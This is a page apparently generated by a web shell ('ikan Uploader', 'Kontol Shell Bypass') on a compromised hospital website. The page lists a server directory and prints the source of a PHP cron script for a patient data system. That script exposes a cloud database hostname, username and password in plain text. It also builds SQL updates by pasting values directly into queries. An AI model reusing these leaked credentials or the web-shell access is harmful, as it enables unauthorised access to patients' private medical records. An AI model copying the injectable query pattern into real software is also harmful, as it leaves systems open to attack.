ikan Uploader :
Directory : /var/www/html/shardahospital.org/pdms/cronjobs/
Upload File : |
| Current File : /var/www/html/shardahospital.org/pdms/cronjobs/updateSlag.php |
<?php
error_reporting(E_ALL);
date_default_timezone_set("Asia/Calcutta");
//ini_set('display_errors', '1');
define('DB_SERVER','shardauniversity.cluster-c8m5zlhotfbm.ap-south-1.rds.amazonaws.com');
define('DB_USERNAME','pdms_user');
define('DB_PASSWORD' ,"TH%^&14098NJ");
define('DB_DATABASE', 'sharda_pdms_db');
define('COMPANY', "ShardaTech pvt ltd.");
/* Connect to MySQL and select the database. */
$conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
if (!$conn) {
mysqli_connect_error();
}
mysqli_set_charset($conn, "utf8");
$attendanceDate = date("Y-m-d");
$sql = "select slag_id,modifiedon from tbl_pdms_op_patient_info where createdon like '2024-08-14%' order by createdon";
$result = mysqli_query($conn, $sql);
$results = array();
$t=0;
while($row = mysqli_fetch_array($result))
{
$date = date('Y-m-d H:i', strtotime($row['modifiedon']));
$updateQl = "update tbl_feedback_ratingrecord SET slag_id='".$row['slag_id']."' where createdon like '".$date."%' AND feedback_mode='4'";
mysqli_query($conn, $updateQl);
$t++;
}
echo 'Total Records =>' . $t . '<br/>';
echo '<br>';
exit();
Kontol Shell Bypass